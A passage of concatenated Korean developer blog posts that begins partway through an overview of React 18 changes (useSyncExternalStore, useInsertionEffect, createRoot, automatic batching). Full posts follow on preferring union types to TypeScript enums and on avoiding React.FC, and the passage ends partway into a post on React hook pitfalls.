- `Tearing`: 시각적인 비일치를 의미한다. 예를 들어, 하나의 상태에 대해 UI가 여러 상태로 보여지고 있는, (= 각 컴포넌트 별로 업데이트 속도가 달라서 발생하는) UI가 찢어진 상태를 의미한다.

사실 리액트 18이전에는, 이러한 문제가 없었다. 그러나 리액트 18부터 도입된 [`concurrent` 렌더링](https://ko.reactjs.org/docs/concurrent-mode-intro.html)이 등장하며서, 렌더링이 렌더링을 잠시 일시중지할 수 있게 되면서 이 문제가 대두되기 시작했다. 일시중지가 발생하는 사이에 업데이트는 렌더링에 사용되는 데이터와 이와 관련된 변경사항을 가져올 수 있게 되었다. 이로 인해 UI는 동일한 데이터에 다른 값을 표시할 수 있게 되버렸다.

> [관련 이슈 살펴보기](https://github.com/reactwg/react-18/discussions/69)

동기 렌더링 시에는, UI는 항상 일관성을 유지할 수 있었다.

![synchronous rendering](https://d33wubrfki0l68.cloudfront.net/dbdfd8eb6f330f77d9b8f53356b5085af6696a48/cec12/images/use_sync_external_store/rendering_before_react_18.png)

그러나 concurrent 렌더링에서는, 초기에는 아래 그림처럼 파란색이다. 리액트는 외부 스토어가 바뀌면서 빨간색으로 업데이트 한다. 리액트는 계속해서 컴포넌트를 빨간색으로 바꾸려고 시도할 것이다. 이 과정에서 발생하는 UI의 불일치를 `tearing`이라고 한다.

![concurrent rendering](https://d33wubrfki0l68.cloudfront.net/3df29b67e19ed60ad572e16fa7e5e5cfed757a93/6140a/images/use_sync_external_store/concurrent_rendering_react_18.png)

이 문제를 해결하기 위해, 처음에는 [리액트 팀에서 `useMutableSource`라는 훅을 만들어](https://github.com/reactjs/rfcs/blob/main/text/0147-use-mutable-source.md) 안전하게 외부의 mutable한 소스를 읽어왔다. 그러나 개발을 시작하면서 [API에 결함이 있다는 것](https://github.com/reactwg/react-18/discussions/84)을 알게 되었고 `useMutableSource`는 사용이 어려워 졌다. 많은 논의 끝에, `useMutableSource`는 `useExternalStore`로 변경되었다.

[useExternalStore](https://github.com/reactwg/react-18/discussions/86)는 리액트 18에서 스토어 내 데이터를 올바르게 가져올 수 있도록 도와준다.

이해를 돕기위해, [이 레포](https://github.com/facebook/react/tree/main/packages/use-sync-external-store)를 방문해보자.

```javascript
import {useSyncExternalStore} from 'react';

  or

// Backwards compatible shim
import {useSyncExternalStore} from 'use-sync-external-store/shim';

//Basic usage. getSnapshot must return a cached/memoized result
useSyncExternalStore(
  subscribe: (callback) => Unsubscribe
  getSnapshot: () => State
) => State

// Selecting a specific field using an inline getSnapshot
const selectedField = useSyncExternalStore(store.subscribe, () => store.getSnapshot().selectedField);
```

`useSyncExternalStore`는 두개의 함수를 인자로 받는다.

- `subscribe`: 등록할 콜백 함수
- `getSnapshot`: 마지막 이후로 subscribe 중인 값이 렌더링된 이후 변경되었는지, 문자여이나 숫자 처럼 immutable한 값인지, 혹은 캐시나 메모된 객체인지 확인하는데 사용된다. 이후, 훅에 의해서 immutable한 값이 반환된다.

`getSnapShot`의 결과로 메모이제이션 된 값을 제공하는 api는 다음과 같다.

```javascript
import {useSyncExternalStoreWithSelector} from 'use-sync-external-store/with-selector'

const selection = useSyncExternalStoreWithSelector(
  store.subscribe,
  store.getSnapshot,
  getServerSnapshot,
  selector,
  isEqual,
)
```

[리액트 Conf에서 이야기한 실제 예제](https://www.youtube.com/watch?t=694&v=oPfSC5bQPR8&feature=youtu.be)에 대해 살펴보자.

```jsx
import React, {useState, useEffect, useCallback, startTransition} from 'react'

// library code

const createStore = (initialState) => {
  let state = initialState
  const getState = () => state
  const listeners = new Set()
  const setState = (fn) => {
    state = fn(state)
    listeners.forEach((l) => l())
  }
  const subscribe = (listener) => {
    listeners.add(listener)
    return () => listeners.delete(listener)
  }
  return {getState, setState, subscribe}
}

const useStore = (store, selector) => {
  const [state, setState] = useState(() => selector(store.getState()))
  useEffect(() => {
    const callback = () => setState(selector(store.getState()))
    const unsubscribe = store.subscribe(callback)
    callback()
    return unsubscribe
  }, [store, selector])
  return state
}

//Application code

const store = createStore({count: 0, text: 'hello'})

const Counter = () => {
  const count = useStore(
    store,
    useCallback((state) => state.count, []),
  )
  const inc = () => {
    store.setState((prev) => ({...prev, count: prev.count + 1}))
  }
  return (
    <div>
      {count} <button onClick={inc}>+1</button>
    </div>
  )
}

const TextBox = () => {
  const text = useStore(
    store,
    useCallback((state) => state.text, []),
  )
  const setText = (event) => {
    store.setState((prev) => ({...prev, text: event.target.value}))
  }
  return (
    <div>
      <input value={text} onChange={setText} className="full-width" />
    </div>
  )
}

const App = () => {
  return (
    <div className="container">
      <Counter />
      <Counter />
      <TextBox />
      <TextBox />
    </div>
  )
}
```

만약 위의 예제 처럼, `startTransition`를 사용하고 있다면, 이는 코드가 `tearing`될 수 있다는 것을 의미한다. 이러한 이슈를 해결하기 위해, `useSyncExternalStore`를 사용할 수 있다.

`useState` `useEffect`를 사용하고 있는 `useStore`를 `useSyncExternalStore`로 변경해보자.

```javascript
import {useSyncExternalStore} from 'react'

const useStore = (store, selector) => {
  return useSyncExternalStore(
    store.subscribe,
    useCallback(() => selector(store.getState(), [store, selector])),
  )
}
```

코드가 훨씬 깔끔해진 것을 볼 수 있다.

그렇다면 어떤 라이브러리들이 이러한 concurrent rendering에 영향을 받을까?

- 렌더링 중에 외부 가변 데이터에 접근하지 않고, react props, state, context 만을 사용하여 정보를 전달하는 컴포넌트와 훅만 가지고 있는 라이브러리라면 영향을 받지 않을 것이다.
- 데이터 fetch, 상태관리, redux, mobx, relay 등은 영향을 받을 것이다. 이는 리액트 외부에 상태를 저장하기 때문이다. concurrent 렌더링 시에는 react가 모르게 렌더링 중에 이러한 값이 업데이트 될 수 있기 때문이다.

#### `useInsertionEffect`

`useInsertionEffect`는 css-in-js 라이브러리가 렌더링 도중에 스타일을 삽입할 때 성능 문제를 해결할 수 있는 새로운 훅이다. css-in-js 라이브러리를 사용하지 않는다면 사용할 필요가 없다. 이 훅은 dom이 한번 mutate된 이후에 실행되지만, layout effect가 일어나기전에 새 레이아웃을 한번 읽는다. 이는 리액트 17 이하 버전에 있는 문제를 해결할 수 있으며, 리액트 18에서는 나아가 concurrent 렌더링 중에 브라우저에 리액트가 값을 반환하므로, 레이아웃을 한번더 계산할 수 있는 기회가 생겨 매우 중요하다.

어떻게 보면 `useLayoutEffect`와 비슷한데, 차이가 있다면 DOM 노드에 대한 참조에 엑세스 할 수 있다는 것이다.

클라이언트 사이드에서 `<style>` 태그를 생성해서 삽입할 때는 성능 이슈에 대해 민감하게 살펴보아야 한다. CSS 규칙을 추가하고 삭제한다면 이미 존재하는 모든 노드에 새로운 규칙을 적용하는 것이다. 이는 최적의 방법이 아니므로 많은 문제가 존재한다.

이를 피할 수 있는 방법은 타이밍이다. 리액트가 DOM을 변환한경우, 레이아웃에서 무언가를 읽기전 (`clientWidth`와 같이) 또는 페인트를 위해 브라우저에 값을 전달하기 전에 DOM에 대한 다른 변경과 동일한 타이밍에 작업을 하면 된다.

```jsx
function useCSS(rule) {
  useInsertionEffect(() => {
    if (!isInserted.has(rule)) {
      isInserted.add(rule)
      document.head.appendChild(getStyleForRule(rule))
    }
  })
  return rule
}
function Component() {
  let className = useCSS(rule)
  return <div className={className} />
}
```

이는 `useLayoutEffect`와 마찬가지로 서버에서 실행되지는 않는다.

### React DOM Client

`react-dom/client`에 새로운 API가 추가되었다.

#### `createRoot`

렌더링 또는 언마운트할 루트를 만드는 새로운 메소드다. `ReactDOM.render`대신 사용하며, 리액트 18의 새로운 기능은 이 것 없이 동작 하지 않는다.

**before**

```jsx
import ReactDOM from 'react-dom'
import App from 'App'

const container = document.getElementById('root')

ReactDOM.render(<App name="yceffort blog" />, container)

ReactDOM.render(<App name="yceffort post" />, container)
```

**after**

```jsx
import ReactDOM from 'react-dom'
import App from 'App'

const container = document.getElementById('root')

// 루트 생성
const root = ReactDOM.createRoot(container)

// 최초 렌더링
root.render(<App name="yceffort blog" />) // During an update, there is no need to pass the container again
// 업데이트 시에는, container를 다시 넘길 필요가 없다.
root.render(<App name="yceffort post" />)
```

#### `hydrateRoot`

서버사이드 렌더링 애플리케이션에서 hydrate하기 위한 새로운 메소드다. 새로운 React DOM Server API와 함께 `ReactDOM.hydrate` 대신 사용하면 된다. 리액트 18의 새로운 기능은 이와 함께 작동하지 않는다.

**before**

```jsx
import ReactDOM from 'react-dom'
import App from 'App'

const container = document.getElementById('root')

ReactDOM.hydrate(<App name="yceffort blog" />, container)
```

**after**

```jsx
import ReactDOM from 'react-dom'
import App from 'App'

const container = document.getElementById('root')

const root = ReactDOM.hydrateRoot(container, <App name="yceffort blog" />)
```

위 두 메소드 모드 `onRecoverableError`를 옵션으로 받을 수 있는데, 리액트가 렌더링이나 hydration시 에러가 발생하여 리커버리를 시도할 때 logging을 할 수 있는 목적으로 제공된다. 기본값으로 [reportError](https://developer.mozilla.org/en-US/docs/Web/API/reportError)나 구형 브라우저에서는 `console.error`를 쓴다.

### React DOM Server

`react-dom/server`에 새로운 API가 추가되었으며, 이는 서버에서 streaming Suspense를 완벽하게 지원한다.

#### `renderToPipeableStream`

node 환경에서 스트리밍 지원

- `<Suspense>`와 함께 사용 가능
- 콘텐츠가 잠시 사라지는 문제없이 `lazy`와 함께 코드 스플리팅 가능
- 지연된 콘텐츠 블록이 있는 HTML 스트리밍이 나중에 뜰 수 있음

#### `renderToReadableStream`

Cloudflare, deno와 같이 모던 엣지 런타임 환경에서 스트리밍 지원

`renderToString`는 여전히 존재하지만, 사용하는 것이 권장되지는 않는다.

> 이와 관련된 내용은 [내 이전 블로그글](/2022/01/how-react-server-components-work)에서 다룬적이 있으니 참고해보면 좋다.

## Deprecation

- `react-dom`: `ReactDOM.render`
- `react-dom`: `ReactDOM.hydrate`
- `react-dom`: `ReactDOM.unmountComponentAtNode`
- `react-dom`: `ReactDOM.renderSubtreeIntoContainer`
- `react-dom/server`: `ReactDOMServer.renderToNodeStream`

## Breaking Change

### React

#### `Automatic batching`

React Batch 업데이트 방식을 변경하여 자동으로 더 많은 배치를 수행할 수 있도록 성능이 향상되었다. 여기서 `batching`이란 여러 상태 업데이트를 하나의 리렌더링으로 처리하여 성능을 향상시키는 방법이다. 예를 들어, 버튼 하나 클릭이 두개의 상태를 업데이트 (`useState`가 두번 수행) 한다면, 리액트는 이를 하나의 리렌더링으로 처리할 수 있도록 해주는 것을 의미한다.

그러나 리액트는 언데 업데이트를 배치로 처리했는지가 일관성있게 이뤄지고 있지 않았다. 옐르 들어 데이터를 fetch 한 다음, `handleClick` 에서 상태를 업데이트 하는 경우, 리액트는 업데이트를 배치하지 않고 개별 업데이트 두개를 수행하곤 했었다. 그 이유는 브라우저 이벤트 중에는 배치로 일괄 처리 하지만, 이벤트가 이미 처리된 후(콜백)에서 상태를 업데이트 처리하고 있었기 때문이다.

리액트 18에서는, 어디에서 이벤트가 발생했는지와 상관없이 자동으로 모든 업데이트가 배치되어 이뤄진다.

```jsx
function App() {
  const [count, setCount] = useState(0)
  const [flag, setFlag] = useState(false)

  function handleClick() {
    fetchSomething().then(() => {
      // React 18 and later DOES batch these:
      setCount((c) => c + 1)
      setFlag((f) => !f)
      // React will only re-render once at the end (that's batching!)
    })
  }

  return (
    <div>
      <button onClick={handleClick}>Next</button>
      <h1 style={{color: flag ? 'blue' : 'black'}}>{count}</h1>
    </div>
  )
}
```

만약 이러한 동작을 원치 않는다면 `flushSync`를 쓰면 된다.

```jsx
import {flushSync} from 'react-dom' // Note: react-dom, not react

function handleClick() {
  flushSync(() => {
    setCounter((c) => c + 1)
  })
  // React has updated the DOM by now
  flushSync(() => {
    setFlag((f) => !f)
  })
  // React has updated the DOM by now
}
```

그런데 이게 왜 breaking change 일까?

일단 훅의 경우에는, 대부분의 경우 제대로 배치처리가 자동으로 그냥 작동할 것으로 예상하고 있었다. 그러나 클래스의 경우, 이벤트 내부에서 상태 업데이트를 동기적으로 읽을 수 있는 방법이 있다. 아래 코드를 보자.

```javascript
handleClick = () => {
  setTimeout(() => {
    this.setState(({count}) => ({count: count + 1}))

    // { count: 1, flag: false }

    // 사실은 배치 때문에 // { count: 0, flag: false } 임
    console.log(this.state)

    this.setState(({flag}) => ({flag: !flag}))
  })
}
```

리액트 18에서는, 이러한 케이스는 더이상 존재하지 않는다. `setTimeout`에 있는 것 조차 배치로 때려버리기 때문에, 위는 동기적으로 렌더링이 진행되지 않을 것이다.

함수형 컴포넌트의 경우에는, `useState`가 기존 변수를 업데이트하지 않기 때문에 문제가 되지 않을 것이다.

```javascript
function handleClick() {
  setTimeout(() => {
    console.log(count); // 0
    setCount(c => c + 1);
    setCount(c => c + 1);
    setCount(c => c + 1);
    console.log(count); // 0
  }, 1000)
```

#### Stricter Strict Mode

향후에는, 리액트에서는 컴포넌트가 마운트가 해제된 사이에서도 상태를 유지할 수 있는 기능을 제공할 예정이다. 이를 위하여 이번 18에서는 `Strict Mode`에 새로운 개발 모드 전용 체크를 도입했다. 컴포넌트가 재마운트 될 때 마다모든 컴포넌트를 자동으로 마운트 해제하고, 다시 마운트하여 이전 상태를 복원한다. 이로 인해 앱이 깨지면, 기존 상태로 다시 마운트 할 수 있는 컴포넌트를 수정할 때까지 `Strict Mode`를 삭제하는 것이 좋다.

#### 일관된 `useEffect` 타이밍

위에서 언급한 `Automatic Batching`에서 이어지는 맥락이다. 클릭, keydown event와 같은 개별 사용자 입력 에벤트 중에 업데이트가 발생한 경우, 항상 동기식으로 effect 함수를 플러쉬한다. 이전에는 이 기능이 예측가능하거나, 일관적이지 못했다.

#### 엄격해진 hydration 에러

텍스트 애용 누락, 텍스트 내용 불일치 등은 이제 경고 대신 오류로 처리된다. 리액트는 서버 마으컵을 일치시키기 위해 클라이언트 노드에 삽입이나 삭제를 함으로서 개별 노드를 수정해주지 않고, 이제는 트리에서 가장 가까운 `<Suspense>` 바운더리 까지 클라이언트 렌더링으로 돌아간다. 이를 통해 hydration 트리의 일관성을 확보하고, 불일치로 인해 발생할 수 있는 잠재적인 보안 문제를 해결할 수 있다.

#### Suspense 가 이제 항상 일관되게 적용됨

트리에 완전히 추가되기전에, 컴포넌트가 suspend 된 경우, 리액트는 불완전한 상태로 컴포넌트를 추가하거나 effect를 발생시키지 않는다. 대신 리액트는 새 트리를 완전히 버리고 비동기 작업이 완료될 때 가지 기다린 다음, 다시 처음부터 렌더링을 시도한다. 리액트는 브라우저를 차단하지 않고 동시에 렌더링을 재시도 한다.

#### Suspense와 layout effect

트리가 suspend 되었다가 fallback으로 돌아가면, 리앹그는 레이아웃 effect를 정리한 다음, 바운더리 내부의 내용이 다시 표시 될 때 까지 만든다. 이로인해 컴포넌트 라이브러리가 suspense와 함께 사용될때 레이아웃을 올바르게 측정할 수 없었던 문제가 해결된다.

#### 새로운 js 환경 (polyfill 필요)

리액트는 이제 모던 브라우저 기능인 `Promise` `Symbol` `Object.assign`에 의존한다. 최신 브라우저 기능을 제공하지 않거나, 혹은 호환되지 않는 인터넷 익스플로러 등 오래된 브라우저를 지원해야 하는 경우, 애플리케이션에 글로벌 플로필을 추가하는 것을 고려해봐야 한다.

## 눈에 띄는 변화

### React

#### `undefined`도 렌더링 가능

이제 컴포넌트가 `undefined`를 리턴해도 에러를 리턴하지 않는다. jsx에 return 문을 잊지 않도록 linter의 도움을 받는 것을 추천한다.

#### 테스트 시에, `act` 경고가 옵트인 됨

e2e 테스트 시 `act` 경고는 불필요하다. [`opt-in` 개념을 도입](https://github.com/reactwg/react-18/discussions/102)하여 유닛테스트 시에만 이러한 경고문을 받을 수 있도록 구성할 수 있다.

#### No Suppression of `console.log`

strict 모드에서, 각 컴포넌트를 두번씩 렌더링 하면 예끼치않은 사이드 이펙트를 겪을 수 있다. react 17에서는 이러한 로그를 쉽게 읽게 하기 위해 두 렌더링 중에 하나의 `console.log`를 의도적으로 띄우지 않았다. 그러나 [이러한 동작이 혼란스럽다는 의견](https://github.com/facebook/react/issues/21783)이 있어 더이상 경고문을 제거하지 않는다. 대신, `React DevTools`가 설치되어 있다면, 두번째 로그가 회색으로 표시되고, 이를 완전히 없앨 수 있는 옵션이 존재한다.

#### 메모리 사용량 최적화

리액트는 마운트 해제시에 더 많은 내부 필드를 정리하여, 애플리케이션에 존재할 수 있는 메모리 누수로 인한 영향을 줄여주었다.

### React DOM Server

#### `renderToString`

서버에서 suspending이 일어날 경우 더이상 에러가 발생하지 않는다. 대신 가장 가까운 `<Suspense>` 바운더리에 fallback HTML을 내보낸후, 클라이언트 레벨에서 같은 렌더링을 재시도 한다. `renderToString`보다는 `renderToPipeableStream` `renderToReadableStream`과 같은 스트리밍 api로 전환하는 것을 추천한다.

#### `renderToStaticMarkup`

서버에서 suspending이 일어날 경우 더이상 에러가 발생하지 않는다. 대신 가장 가까운 `<Suspense>` 바운더리에 fallback HTML을 내보낸 후, 클라이언트 레벨에서 같은 렌더링을 재시도 한다.

## All Changes

위 내용을 포함한 모든 변경사항은 [https://github.com/facebook/react/blob/main/CHANGELOG.md#all-changes](https://github.com/facebook/react/blob/main/CHANGELOG.md#all-changes)에 나와 있다.

---

Source: https://yceffort.kr/2022/03/typescript-use-union-types-instead-enum.md
Title: 내가 타입스크립트에서 Enum을 잘 쓰지 않는 이유
Description: enum이 잘못했네
Date: 2022-03-28
Tags: typescript

## Table of Contents

## Introduction

[이전 글](/2020/09/typescript-enum-not-treeshaked)에서도 언급했던 것 처럼, enum은 트리쉐이킹이 되지 않기 때문에 (정확히는 번들러가 무엇을 트리쉐이킹 해야할지 알 수 없으므로) 잘 사용하지 않는 다고 언급했었다.

```typescript
enum Direction {
  Up,
  Down,
  Left,
  Right,
}

Direction.Up // 0
Direction.Down // 1
Direction.Left // 2
Direction.Right // 3
```

는 자바스크립트로 아래와 같이 컴파일된다.

```javascript
'use strict'
var Direction
;(function (Direction) {
  Direction[(Direction['Up'] = 0)] = 'Up'
  Direction[(Direction['Down'] = 1)] = 'Down'
  Direction[(Direction['Left'] = 2)] = 'Left'
  Direction[(Direction['Right'] = 3)] = 'Right'
})(Direction || (Direction = {}))
Direction.Up // 0
Direction.Down // 1
Direction.Left // 2
Direction.Right // 3
// { 0: "Up", 1: "Down", 2: "Left", 3: "Right", Up: 0, Down: 1, Left: 2, Right: 3 }
```

[typescript playground](https://www.typescriptlang.org/play?#code/KYOwrgtgBAIglgJ2AYwC5wPYigbwFBRQCqADgDQGwYDuIFhAMsAGar1QBKcA5gBZt4AvnjzwkaTCAB0pKAHo5UAAyjEKdFikwa2BVACMq8RulNW8xQCYj6yVK59UFqAGYgA)

`const enum`을 사용하여 위와 같은 큰 트랜스파일을 없앨 수도 있지만, `--isolatedModules`옵션으로 인하여 별도의 처리가 필요하다고 언급했었다. 만약 그 문제를 넘어간다 하더라도 `enum`은 문제가 없는 것일까?

> [--isloatedModules](https://www.typescriptlang.org/tsconfig#isolatedModules) These limitations can cause runtime problems with some TypeScript features like const enums and namespaces. Setting the isolatedModules flag tells TypeScript to warn you if you write certain code that can’t be correctly interpreted by a single-file transpilation process.

## 숫자형 enum은 예기치 못한 문제를 이르킬 수 있다.

```typescript
enum Direction {
  Up,
  Down,
  Left,
  Right,
}

declare function move(direction: Direction): void

move(100) // ??
```

`Up`, `Down`, `Left`, `Right`가 0, 1, 2, 3 으로 할당되어서 분명 100은 들어가면 안됐을 텐데, 100도 별다른 문제 없이 들어가는 것을 볼 수 있다. 왜 그럴까?

사실 이는 [타입스크립트에서 의도된 동작](https://github.com/microsoft/TypeScript/issues/38294#event-3305063822)이다.

> [Ryan Cavanaugh](https://github.com/RyanCavanaugh)는 타입스크립트 author 아저씨다. [이 issue](https://github.com/microsoft/TypeScript/issues/26362)로 추측컨데, bitwise연산으로 인한 문제로 보인다.

## 문자형 enum의 경우

구조적 타이핑 세계에서, enum은 named type으로 불리기도 한다. 즉, 값이 올바르고 호환 가능하다 할지라도, 문자열 enum이 필요한 함수나 객체에 값을 전달할 수 없다는 뜻이다. 아래 예시를 살펴보자.

```typescript
enum Direction {
  Up = 'Up',
  Down = 'Down',
  Left = 'Left',
  Right = 'Right',
}

declare function move(direction: Direction): void

move('Up') // impossible
move(Direction.Up) // possible
```

이렇듯 문자형 enum과 숫자형 enum의 동작 방식에 차이가 있고, 또 위험성을 안고 있기 때문에 enum 사용을 꺼리는 편이다.

## Enum간의 값 비교도 안됨

```typescript
enum Direction1 {
  Up = 'Up',
  Down = 'Down',
  Left = 'Left',
  Right = 'Right',
}

enum Direction2 {
  Up = 'Up',
  Down = 'Down',
  Left = 'Left',
  Right = 'Right',
}

// This condition will always return 'false' since the types 'Direction1.Up' and 'Direction2.Up' have no overlap.
if (Direction1.Up === Direction2.Up) {
}
```

아무리 같은 값이라 할지라도, enum 내에 있으면 타입스크립트는 이 값을 비교할 수 없기 때문에 false가 리턴된다.

## Union Types을 대신 써보기

우리에겐 union type이 있다.

```typescript
type Direction = 'Up' | 'Down' | 'Left' | 'Right'

declare function move(direction: Direction): void

move('Up') // possible
```

만약 진짜 enum, 즉 숫자형 enum 을 쓰고 싶다면, `const`, 그리고 `as const` 와 함께 `Values<T>`의 헬퍼 타입을 써보는 것도 좋다.

```typescript
const Direction = {
  Up: 0,
  Down: 1,
  Left: 2,
  Right: 3,
} as const

type Values<T> = T[keyof T]

declare function move(direction: Values<typeof Direction>): void

move(Direction.Up) // Ok!
move(0) // Ok!
move(100) // ㅠ_ㅠ
```

- enum의 동작과 다르게 결과물이 어떨지 코드를 통해 명확히 알 수 있음
- 문자열 enum, 숫자형 enum 등으로 바꾼 다고 해서 (값을 바꾼다고해서) 동작에 차이가 발생하지 않음
- 타입 안전성 확보
- enum과 동일한 편의성 제공

---

Source: https://yceffort.kr/2022/03/dont-use-react-fc.md
Title: React.FC를 사용하지 않는 이유
Description: React.FC가 잘못됐다는 이야기는 아닙니다
Date: 2022-03-25
Tags: react, typescript

## Table of Contents

이따금씩 다른 사람들이 만들어둔 컴포넌트 코드를 보면, 함수형 컴포넌트에 `React.FC<>`를 달아두어서 함수를 타이핑 한 것을 종종 볼 수 있었다.

그러나 나는 그러한 방식을 썩 선호하지는 않는다. 그 이유는 다음과 같다.

## `React.FC<>`란 무엇인가?

리액트에서는 크게 두가지 방법으로 컴포넌트를 정의할 수 있다.

1. `Component`를 extending하는 클래스 컴포넌트
2. `JSX`를 리턴하는 함수형 컴포넌트

일단 리액트는 타입스크립트로 작성되있지 않기 때문에, 리액트 커뮤니티에서는 `@types/react`패키지를 제공하여 리액트에 대한 타이핑을 지원하고 있다. 여기에는 `FC`라고 하는 제네릭 타입이 있는데, 이를 활용하면 함수형 컴포넌트를 아래와 같이 타이핑 할 수 있게 도와준다.

```typescript
import { FC } from 'react'

type GreetingProps = {
  name: string
}

const Greeting: FC<GreetingProps> = ({ name }) => {
  return <h1>Hello {name}</h1>
}
```

그리고, 이 FC는 다음과 같은 구조로 되어 있다.

```typescript
type FC<P = {}> = FunctionComponent<P>

interface FunctionComponent<P = {}> {
  (props: PropsWithChildren<P>, context?: any): ReactElement<any, any> | null
  propTypes?: WeakValidationMap<P> | undefined
  contextTypes?: ValidationMap<any> | undefined
  defaultProps?: Partial<P> | undefined
  displayName?: string | undefined
}
```

> [github 소스 코드 보기](https://github.com/DefinitelyTyped/DefinitelyTyped/blob/0beca137d8552f645064b8a622a6e153864c66ee/types/react/index.d.ts#L548-L556)

## 함수를 타이핑 하지만, 인수를 타이핑 하지는 않는다.

`React.FC`는 함수를 타이핑해준다. 이름에서 할 수 있는 것처럼. 함수 타이핑은 일반적인 기명 함수에 적용하기 매우 어렵다. 만약 아래와 같은 코드에 함수 타이핑을 적용해본다고 가정해보자.

```typescript
function Greeting({ name }) {
  return <h1>Hello {name}</h1>
}
```

먼저 쉽게할 수 있는 방법 중 하나는, 익명 함수를 변수에 할당하여 타이핑 하는 것이다.

```typescript
const Greeting: FC<GreetingProps> = function ({ name }) {
  return <h1>Hello {name}</h1>
}
```

혹은 화살표 함수를 쓸 수도 있겠다.

```typescript
const Greeting: FC<{ name: string }> = ({ name }) => {
  return <h1>Hello {name}</h1>
}
```

그러나 우리가 일반적으로 쓰는 기명 함수 방식에서는 이러한 타이핑을 사용할 수 없다. 만약 함수 타이핑을 사용하지 않는다면, 함수를 기명이건 익명이건 어떤 방식으로 사용해도 문제가 없다.

```typescript
function Greeting({ name }: GreetingProps) {
  return <h1>Hello {name}</h1>
}
```

## `React.FC<>`는 항상 children을 가질수 있다.

`React.FC<>`로 타이핑 하는 것은 컴포넌트에 children이 있을 수 있다는 것을 의미한다.

```typescript
export const Greeting: FC<GreetingProps> = ({ name }) => {
  return <h1>Hello {name}</h1>
}

const App = () => (
  <>
    <Greeting name="Stefan">
      <span>{"I can set this element but it doesn't do anything"}</span>
    </Greeting>
  </>
)
```

`Greeting`에는 딱히 `children`을 렌더링하거나 처리하는 코드가 없음에도 위 코드는 정상적으로 처리되는 것을 볼수 있다.

대신, 일반적인 방법으로 한다면 아래코드는 다음과 같은 결과가 나온다.

```typescript
function Greeting({ name }: {name: string}) {
  return <h1>Hello {name}</h1>
}
const App = () => <>
  // Property 'children' does not exist on type 'IntrinsicAttributes & { name: string; }'.ts(2322)
  <Greeting name="Stefan">
    <span>{"I can set this element but it doesn't do anything"}</span>
  </Greeting>
</>
```

최소한 컴포넌트에 children의 존재가 가능한지 여부를 확인하는 것은 도움이 될 수 있다. 만약 컴포넌트에 children이 존재할 수도 있다는 것을 알리기 위해서는, `PropsWithChildren`을 사용하는 것이 좋다.

```typescript
type PropsWithChildren<P> = P & {children?: ReactNode | undefined}
```

[https://github.com/DefinitelyTyped/DefinitelyTyped/blob/0beca137d8552f645064b8a622a6e153864c66ee/types/react/index.d.ts#L830](https://github.com/DefinitelyTyped/DefinitelyTyped/blob/0beca137d8552f645064b8a622a6e153864c66ee/types/react/index.d.ts#L830)

```typescript
function Card({ title, children }: PropsWithChildren<{ title: string }>) {
  return (
    <>
      <h1>{title}</h1>
      {children}
    </>
  )
}
```

## `React.FC<>`는 defaultProps를 쓰지 못하게 만든다.

`defaultProps`는 클래스 기반 컴포넌트의 유물로, props에 기본값을 세팅할 수 있도록 도와준다. 함수형 컴포넌트에서는, 자바스크립트의 기본적인 기능을 활용하면 기본값을 제공할 수 있다.

```typescript
function LoginMsg({ name = 'Guest' }: LoginMsgProps) {
  return <p>Logged in as {name}</p>
}
```

타입스크립트 3.1 버전 이후로, `defaultProps`를 이해하는 메커니즘이 추가되었으며, 이는 사용자가 세팅한 값을 기반으로 기본값이 설정된다. 그러나 `React.FC`는 `defaultProps`에 대한 타이핑 하기 때문에 이러한 기본값에 대한 연결고리를 끊어버리게 된다. 아래 코드를 살펴보자.

```typescript
type GreetingProps = {
  name: string
}

export const Greeting: FC<GreetingProps> = ({ name }) => {
  return <h1>Hello {name}</h1>
}
음
Greeting.defaultProps = {
  name: 'World',
}

const App = () => (
  <>
    {/* name에 world가 들어오지 않음 💥*/}
    <Greeting />
  </>
)
```

하지만, 일반적인 함수 방식이라면 `defaultProps`는 여전히 유효하다.

```typescript
export const Greeting = ({ name }: GreetingProps) => {
  return <h1>Hello {name}</h1>
}

Greeting.defaultProps = {
  name: 'World',
}

const App = () => (
  <>
    {/* Yes! ✅ */}
    <Greeting />
  </>
)
```

## Stateless Function Component의 과거

예전에는 모두가 함수형 컴포넌트를 stateless function component (무상태 함수형 컴포넌트)라고 불렀었다.

```typescript
/**
 * @deprecated as of recent React versions, function components can no
 * longer be considered 'stateless'. Please use `FunctionComponent` instead.
 *
 * @see [React Hooks](https://reactjs.org/docs/hooks-intro.html)
 */
```

[https://github.com/DefinitelyTyped/DefinitelyTyped/blob/0beca137d8552f645064b8a622a6e153864c66ee/types/react/index.d.ts#L532-L548](https://github.com/DefinitelyTyped/DefinitelyTyped/blob/0beca137d8552f645064b8a622a6e153864c66ee/types/react/index.d.ts#L532-L548)

훅이 소개된 이후로, 함수형 컴포넌트에는 많은 상태가 들어오기 시작했고 이제는 더이상 stateless하게 취급하지 않는다. 위 코드에서 볼 수 있는 것 처럼, `SFC`는 `FC`가 되었다. 또 훗날 `FC`가 무엇으로 바뀔 수 있을지도 모를일이다. 그러나 단순히 인수 (props)를 타이핑 하는 것은 이후에 함수의 타입이 바뀌더라도 안전하게 처리할 수 있다.

## Summary

`React.FC`를 쓰는 것이 꼭 나쁜 것 만은 아니다. 여전히 이것을 사용하는게 좋은 경우도 있을 것이고, 그렇다고 이를 억지로 고칠 필요도 없을 수 있다. 그러나 props를 타이핑 하는 것이 조금더 자바스크립트의 느낌과 비슷하고, 다양한 경우의 수로 부터 조금더 안전해 질 수는 있다.

---

Source: https://yceffort.kr/2022/03/react-hooks-in-caution.md
Title: 리액트 훅을 사용할 때 조심해야 할 것
Description: deps에 primitive 값만 사용하기, 훅을 컴포넌트에서 제거하기
Date: 2022-03-24
Tags: react

## Table of Contents

## Introduction

리액트에서 훅이 등장한 2018년 이래로, 리액트 커뮤니티에서는 함수형 컴포넌트 사용에 많은 탄력을 받았다. 훅을 사용하여, 함수형 컴포넌트의 상태 로직 (stateful logic)과 렌더링 로직을 매우 손쉽게 분리할 수 있게 되었다.

이 후 수년간 리액트에서 훅을 사용해오면서, 훅이 항상 편리함만을 제공해주는 것은 아니다. 모든 코드가 그렇지만 당연히 여기에도 위험성이 존재하며, 훅도 마찬가지다.

## 클로져

객체/함수지향 프로그래밍에 대해 잘못 알려진 사실 중 하나는, 객체 지향은 stateful하고, 함수지향은 stateless 하다는 것이다. 그리고 이 논쟁에 뒤따르는 사실 중 하나는, 상태는 보통 나쁜 것으로 치부되기 때문에 상태를 피하고, 더 나아가 객체 지향을 피해야 한다는 사실로 이어진다. 이 말 중 일부는 옳지만, 대부분의 진실이 그렇듯, 잘못된 사실도 있다.

